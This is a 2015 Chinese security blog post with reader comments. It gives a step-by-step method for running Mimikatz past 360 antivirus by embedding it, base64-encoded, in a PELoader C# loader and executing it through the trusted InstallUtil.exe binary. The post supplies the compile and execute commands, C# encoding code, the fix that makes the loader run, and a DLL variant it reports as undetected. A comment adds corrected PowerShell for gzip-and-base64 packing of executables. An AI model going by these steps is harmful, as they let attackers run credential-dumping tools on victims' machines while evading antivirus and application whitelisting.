利用白名单绕过360实例

三好学生 2015-09-17 10:43:00

0x00 前言


最近subTee在其博客中介绍了如何利用白名单绕过防护,但细节存在bug,所以本文仅介绍如何修复其bug并利用该方法绕过360,更多利用方法值得探索

博客链接:

http://subt0x10.blogspot.hk/(需翻墙)

文章地址:

http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html(需翻墙)

0x01 测试目标

下载最新版本Mimikatz,实现绕过杀毒软件的查杀。

0x02 测试环境


操作系统:Win7 x64

mimikatz版本:2.0 alpha 20150906 (oe.eo) edition(目前为止最新)

下载链接:https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906

测试日期:9/14/2015

0x03 实际测试


建议先了解参考链接,链接中提到的相关基础知识不做再次介绍

1、下载最新mimikatz,测试查杀情况

毫无疑问,被查杀,如图

2、利用InstallUtil.exe执行程序

(1)下载https://gist.github.com/subTee/00cdac8990584bd2c2fe并保存为PELoader.cs

(2)参照博客中的示例,执行如下代码:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图,生成PELoader.exe,然后通过InstallUtil.exe执行PELoader.exe

成功加载运行mimikatz

进程显示为InstallUtil.exe,如图

(3)测试生成的PELoader.exe查杀情况

如图,360成功检测威胁

(4)尝试修改PELoader.cs

阅读代码发现Line853-856存储了base64加密后的mimikatz

那么参照作者给出的修改方法修改

作者给出的修改方法如下:

* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *

(5)测试Base64 Encode Mimikatz In PowerShell

按照作者给出的方法对mimikatzbase64编码并保存在Mimikatz.b64文件中

如图

执行Powershell代码

执行后生成Mimikatz.b64,如图

打开将内容复制到PELoader.cs中的变量KatzCompressed的定义中,如图

按照步骤(2)执行测试,发现错误,如图

0x04 分析


作者给出的实例代码如果无法修改,未免太鸡肋,必须找到修改方法,实现执行任意程序

0x05 解决方案


在做了多次实验并研究代码后成功找到了错误原因:

Powershellbase64编码同c#base64解码之间存在解析错误

解决步骤:

(1)使用c#对mimikatz作base64加密

代码如下:

using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}

我使用的环境是vs2012,新建c#工程,填写以上代码,编译后运行,生成新的mimikatz.b64,如图

细心的同学可以发现和之前使用Powershell生成的mimikatz.b64有所区别

(2)替换变量KatzCompressed的定义内容

如图

(3)修改解密过程

定位PELoader.csLine106,去掉

byte[] decompressed = Decompress(FromBase64);

在前面添加“//”即可,如图

(4)再次编译并利用InstallUtil.exe执行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe

如图

证明修改成功,能够顺利执行我们修改的代码

(5)增强免杀

采用如下生成步骤:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll

如图

也可以成功加载mimikatz

测试查杀情况

如图

注:测试全过程开启360,主动防御未触发

0x06 小结


通过InstallUtil.exe执行程序的方法不仅可使程序逃过杀毒软件的查杀,更能够规避程序运行白名单的限制,其他操作系统下的情况有所不同,更多细节值得研究。

参照zone中大家的建议,希望这篇文章是大家喜欢看到的类型:)

本文由三好学生原创并首发于乌云drops,转载请注明

评论

珈蓝夜宇 2015-09-17 10:48:17

换个ID刷drops,居然发现了好东西~欧耶

D

DC3 2015-09-18 13:03:23

远控的木马能用这方法不?感觉有点不行啊

三好学生 2015-09-21 10:55:16

@我是绕不过
下篇文章会有更多的测试详情
你没有提到你的操作系统版本环境,抱歉无法回答你的问题

F

Fnut 2015-10-10 16:22:59

请问这个具体是利用了什么原理才绕过了360的检测呢

路人甲 2016-03-19 17:44:58

楼主的文章很精彩,受用不小。但有一点我觉得是这样的,首先人家原始代码并没有任何问题,你之所以用powershell的代码生成出来的执行会失败,主要是因为以下两点:
1.人家源码里是纯二进制字节操作,但是你的powershell代码中却以utf8格式进行了编码读取,人家源码里并没有处理utf8编码的代码,所以还原的时候出现了问题。
2.人家源码明确写了在base64编码之后还要进行gzip解压缩,但是你的powershell代码并没有进行gzip压缩,所以可能也会造成还原的时候出错。
所以,正确的powershell代码应该是这样的:
$memstream = New-Object System.IO.MemoryStream
$gzipstream = New-Object System.IO.Compression.GZipStream($memstream,[System.IO.Compression.CompressionMode]::Compress,$True)
$bytes = [System.IO.File]::ReadAllBytes('c:\projects\test.exe')
$gzipstream.Write($bytes,0,$bytes.length)
[System.Convert]::ToBase64String($memstream.ToArray()) | Set-Content 'c:\projects\test.b64'
不对之处还请指正

三好学生

good in study,attitude and health

twitter weibo github wechat

随机分类

木马与病毒 文章:125 篇
MongoDB安全 文章:3 篇
Ruby安全 文章:2 篇
区块链 文章:2 篇
密码学 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录